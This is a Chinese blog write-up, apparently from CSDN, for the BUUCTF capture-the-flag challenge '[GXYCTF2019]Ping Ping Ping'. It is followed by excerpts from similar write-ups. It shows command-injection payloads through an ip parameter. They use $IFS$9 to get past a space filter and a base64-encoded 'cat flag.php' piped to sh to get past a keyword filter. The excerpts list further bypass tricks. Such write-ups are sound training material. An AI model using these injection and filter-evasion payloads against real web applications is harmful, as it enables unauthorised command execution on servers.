【BUUCTF】[GXYCTF2019]Ping Ping Ping 1

最新推荐文章于 2024-07-17 16:58:31 发布
最新推荐文章于 2024-07-17 16:58:31 发布
阅读量300 收藏
点赞数
分类专栏： ctf 文章标签： php linux 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/manerzi/article/details/128342941
版权

在这里插入图片描述在这里插入图片描述列出当前目录下的文件
?ip=1;ls
在这里插入图片描述那么我们就要打开flag.php文件
在这里插入图片描述
发现过滤了空格
经过测试我们发现$IFS$9 可以绕过空格
在这里插入图片描述又发现它绕过了flag
我们先看看index.php
在这里插入图片描述
得知flag的过滤方式
我们可以采用base64方法编码方式绕过
需要执行的命令：

cat$IFS$9flag.php

编码后：

Y2F0JElGUyQ5ZmxhZy5waHA=

so， payload如下

?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh

在这里插入图片描述

蔓蔓的学习记录
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUU CTF [GXYCTF2019]Ping Ping Ping 1
qiaopeifan的博客
01-26 472
BUU CTF [GXYCTF2019]Ping Ping Ping 1打开题目，页面显示/?ip= 应该是一个传参的提示。 结合题目的ping。尝试?ip=1 1.看到ip很明显传一个Ip看看 作为菜鸟，我根据自己的判断认为通过Ip传输方式认为是linux所以我们可以在这里输入linux命令常用的就是ls 2.我们看到两个文件，完了进行访问，但是发现flag.php访问不了,大概是说有空格， 判断目标网站是对空格进行了过滤，我们可以使用一些方法代替空格来起到分割作用 注：%20(space)、%09(t
buuctf[GXYCTF2019]Ping Ping Ping
hintll的博客
03-21 5142
buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip=？ 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行：?ip=127.0.0.1|ls 其中|的作用是命令分隔符 还有相关的符号 ; --在 shell 中，是”连续指令” & --不管第一条命令成功与否，都会执行第二条命令 &
[GXYCTF2019]Ping Ping Ping 1
qq_43618536的博客
07-01 2494
BUUCTF的[GXYCTF2019]Ping Ping Ping
[GXYCTF2019]Ping Ping Ping1
最新发布
jamesP777的博客
07-17 318
还过滤了flag，我们用字符拼接的方式看能否绕过,a=g;注意这里用分号间隔，所以不能用管道符连接了。可以看到flag了。这里有个坑，这段是纯php代码，所以在页面上没有显示出来，要注意观察界面的源码。既然ls能把flag找出来， 则还可以利用内联的方式获取flag cat$IFS$1`ls`结果应该就在flag.php。基本上可以看到过滤了哪些内容。可以看到过滤了空格,用 $IFS$1替换空格。结合题目名称，考虑是命令注入，试试ls。
BUUCTF [GXYCTF2019]Ping Ping Ping 1
m0_62879498的博客
03-11 5859
[GXYCTF2019]Ping Ping Ping 1 在本题我们考察的是命令执行 已进入本关，我们发现他在询问 ?ip 我们先尝试输入 ?ip=127.0.0.1 发现访问成功 查询一下它的目录： ?ip=127.0.0.1|ls 发现有两个文件夹flag.php，index.php，发现 flag 我们尝试访问 flag。 ?ip=127.0.0.1|cat flag.php 点击查询， 很明显我们需要进行一个空格的过滤 空格过滤常见绕过注释： < > %20(spac
BUUCTF-[GXYCTF2019]Ping Ping Ping1
Monica的博客
09-13 611
目录 题目：​ 分析： 方法： 方法1: 方法2: 方法3: 题目： 提示get传入一个ip的值，猜测是exec函数执行一个外部程序。 分析： 使用；同时执行前面和后面的命令 相关知识点 payload:?ip=127.0.0.1;ls 发现flag payload:?ip=127.0.0.1;tac flag.php 通过测试发现，过滤了空格、<、>、{、}、flag、*、?、'、"、)、[、]、/等 在linux 空格可以用以下字符串...
BUUCTF[GXYCTF2019]Ping Ping Ping 1
徐海洋
02-01 381
[GXYCTF2019]Ping Ping Ping 1
BUUCTF[GXYCTF2019]Ping Ping Ping
楼阁de猫的博客
12-19 245
[GXYCTF2019]Ping Ping Ping 直接ping 127.0.0.1 有回显，ls一下 发现flag.php，cat一下 事情果然没有这么简单，这里空格被过滤了，下面有几种绕过空格的方法 $IFS ${IFS} $IFS$9 //$9改成 $ 加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能 %20 (space) %09(Tab) 这里用 $IFS$9绕过空格之后，发现flag又被ban了，那就cat一下index.p
BUUCTF__[GXYCTF2019]Ping Ping Ping_题解
风过江南乱的博客
06-25 3140
前言 我感觉我是一个假的理科生，假的计算机相关专业学生，完全没有该有的样子 这题有点东西，不算太水。只是对我来说。 读题 题目是Ping，打开也没有内容，就一个get传参的ip变量 不过看到ip和ping就容易联想到，终端ping命令。 先尝试传入一个ip=127.0.0.1，于是乎出现了如下，在终端下执行的效果就是这样，命令执行石锤了。 命令执行可以干很多事，也就是命令行，LInux下大佬们日常操作都用命令行代替鼠标。 首先想到用什么办法？让它执行我们需要的命令。很明显变量ip是突破点。 先看传
buuctf [GXYCTF2019]Ping Ping Ping!
hintll的博客
06-10 1028
[GXYCTF2019]Ping Ping Ping! 这个题目的标题是ping ping ping 打开以后是这样的 先是看到这个提示，看到？第一想到的就是get，那么就先get一个ip上去 然后有一行回显 应该是命令执行漏洞 命令执行就用命令拼接符执行漏洞命令就行 命令拼接符： |、||、&、&&的区别： &：无论左边是false还是true，右边都执行 &&：具有短路效果，左边是false，右边不执行。 |:无论左边是false还是true，右边都会执
buuctf [GXYCTF2019]Ping Ping Ping学习笔记
haoxue__的博客
05-11 504
学习笔记
BUUCTF—[GXYCTF2019]Ping Ping Ping1
qq_57778984的博客
10-22 368
内联绕过就是将反引号内命令的输出结果作为另一个命令的输入来执行，比如系统对flag字符进行了过滤，但是单独使用ls命令时又会回显出index.php和flag.php文件，那么我们可以通过ls命令将index.php和flag.php作为输入，通过cat查看两个文件获取flag，而不用输入cat flag.php触发关键词。3.尝试在执行ping命令后执行其他命令，用";连接两个命令时，第二个命令只有在第一个命令执行成功的情况下才会执行。连接两个命令时，第二个命令只有在第一个命令执行失败的情况下才会执行。
buuctf [GXYCTF2019]Ping Ping Ping 1
weixin_45642610的博客
01-11 1760
buuctf [GXYCTF2019]Ping Ping Ping 1-刷题个人日记 小白一个，写给自己看。 进去后是这样： ctrl+u看网页源码也没什么，随便输个数据看看： 源码一样没什么。看题目提示，试试你能想到的方法，比如sql注入：输入ip=1' 不是sql注入，试完了发现是命令执行，输入 /?ip=1;ls 两个都看看,先看index.php输入： /?ip=1;cat index.php 看来过滤了空格 再输入 /?ip=1;cat$IFS$1index.php IFS在系统命令
[GXYCTF2019]Ping Ping Ping
09-14
[GXYCTF2019]Ping Ping Ping是一道关于命令注入的题目。在提供的引用中，我们可以看到一个简单的PHP代码段，通过传递ip参数进行ping命令的执行。同时，引用中还给出了一些限制条件，如禁止使用特殊符号、空格、bash...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值